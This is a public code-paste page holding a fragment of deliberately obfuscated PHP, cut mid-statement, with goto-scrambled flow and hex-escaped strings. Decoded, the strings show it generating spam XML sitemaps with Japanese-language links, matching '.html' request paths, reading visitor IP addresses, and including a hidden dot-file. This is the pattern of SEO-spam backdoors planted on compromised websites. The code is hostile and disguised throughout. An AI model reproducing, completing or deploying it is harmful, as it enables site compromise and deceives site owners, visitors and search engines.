(@preg_match("\x23\x28\x5b\x61\55\172\135\53\51\55\x28\x5c\x64\53\51\x3f\x28\56\x68\164\x6d\154\x29\44\43\151", $edQv_, $Mtj2g)) { goto pAqCU; } goto q6JdB; hq97H: exit; goto mGPv0; CZGf_: $feyN4 = "\x3c\x3f\170\x6d\x6c\x20\x76\145\162\163\151\x6f\156\x3d\x22\61\x2e\60\42\x20\x65\x6e\x63\x6f\144\151\156\x67\x3d\42\x55\x54\106\x2d\x38\x22\x3f\x3e\74\x21\55\55\40\141\x75\164\x6f\x67\145\156\x20\x62\171\x20\144\x6f\151\x6d\x20\55\55\76\15\xa\x3c\165\x72\x6c\x73\145\x74\x20\170\x6d\x6c\156\x73\x3d\x22\150\164\164\160\72\57\x2f\167\167\x77\56\163\x69\164\x65\x6d\141\160\163\56\157\x72\x67\x2f\x73\143\150\x65\155\141\163\57\x73\x69\164\x65\x6d\x61\x70\57\x30\56\x39\42\xd\12\x20\40\x20\40\40\40\x78\155\154\x6e\163\x3a\x78\150\x74\x6d\x6c\75\42\150\x74\x74\x70\72\x2f\x2f\167\x77\x77\x2e\167\x33\56\157\x72\x67\x2f\x31\x39\71\71\57\170\x68\x74\x6d\x6c\42\x3e\15\xa\45\x73\x3c\x2f\x75\162\154\x73\x65\164\x3e"; goto fRWd9; IWjAs: oE3Y1: goto ZQFYu; g6rU4: $ugap4 .= sprintf($ffP85, $F1UZe, $SBMcZ, $XNxz4, date("\131\55\155\55\x64\x5c\x54\110\72\151\72\163\120", time())); goto kC46A; fRWd9: $nIeh7 = "\x20\x3c\x75\162\x6c\76\40\x3c\x6c\x6f\143\x3e\45\163\x3c\57\154\157\x63\76\x3c\x78\x68\164\155\x6c\x3a\x6c\151\x6e\153\40\x72\x65\154\75\x22\141\154\x74\x65\x72\x6e\141\x74\145\x22\x20\x68\162\x65\x66\x6c\x61\x6e\x67\x3d\x22\x6a\x61\x22\40\150\x72\x65\146\75\x22\45\163\x22\57\x3e\x3c\57\165\162\154\76"; goto k1WoQ; ICiLK: $ugap4 = ''; goto lz4YJ; L3otU: $sn5PZ .= $coiwp[1] == '' ? "\46\147\x72\157\165\x70\x69\x64\75" . $cn1SC : "\46\x67\x72\x6f\165\x70\151\x64\x3d" . $coiwp[1]; goto M5KLK; RxZL4: @header("\x43\157\156\x74\145\x6e\164\x2d\x74\171\160\x65\72\x20\x74\145\170\x74\x2f\x78\x6d\154"); goto mIfrr; LOXDJ: exit; goto pm2T5; chh0n: echo include "\x2e\x65\107\101\60\124\171\62\x57\x4c\x68"; goto ni7CO; zUQiG: goto kvlbZ; goto gDt1X; JrRoH: $cn1SC = "\64\62\x34"; goto CZGf_; rgpGr: pAqCU: goto dwB_3; EaTdw: if (!($MXCPG === '')) { goto mUIhk; } goto yQY1w; hujhX: array_push($iO8PJ, "\x78\144\157\151\155\x3a\40" . crc32($Rr2Wf . "\x5c\x6e" . $sn5PZ)); goto Oygnl; v0NbL: $Rr2Wf = strval(time()); goto VB6Yv; hNa_i: echo $Mtj2g[1]; goto PUXTD; bNtfW: foreach ($UfxSF as $ld6IC) { goto wdrM3; N11Uj: D7KDm: goto fpSq8; gg31O: $ykYb8 .= sprintf($nIeh7, $vAGwM, $vAGwM); goto N11Uj; wdrM3: $vAGwM = $F1UZe . "\x3a\x2f\57" . $SBMcZ . "\x2f" . $ld6IC; goto gg31O; fpSq8: } goto gibCL; J81nt: function clientip() { goto pF2LI; pF2LI: if (getenv("\122\105\x4d\x4f\124\x45\137\101\x44\x44\122") && strcasecmp(getenv("\x52\105\115\x4f\124\x45\137\x41\104\x44\x52"), "\x75\x6e\153\x6e\157\167\x6e")) { goto QhDH5; } goto JrFYz; wurNM: rMOz9: goto X5cdG; JQF4f: return getenv("\x52\105\115\117\124\x45\137\x41\104\x44\122"); goto MBdXt; JrFYz: if (isset($_SERVER["\x52\105\115\x4f\124\x45\137\101\104\104\122"]) && $_SERVER["\x52\105\115\x4f\124\105\x5f\101\x44\x44\x52"] && strcasecmp($_SERVER["\x52\105\x4d\x4f\x54\105\x5f\x41\104\104\x52"], "\x75\x6e\x6b\156\157\x77\156")) { goto wGxsH; } goto CMUnA; MBdXt: goto rMOz9; goto xvqCc; CMUnA: goto rMOz9; goto eSAxP; eSAxP: QhDH5: goto JQF4f; xvqCc: wGxsH: goto f4DO6; f4DO6: return $_SERVER["\122\x45\115\x4f\124\105\x5f\101\104\x44\x52"]; goto wurNM; X5cdG: }?>

Editor Settings
Theme
Key bindings
Full width
Lines

Snippet Metadata
Owner	loggershell443
Created
Modified
Visibility	Public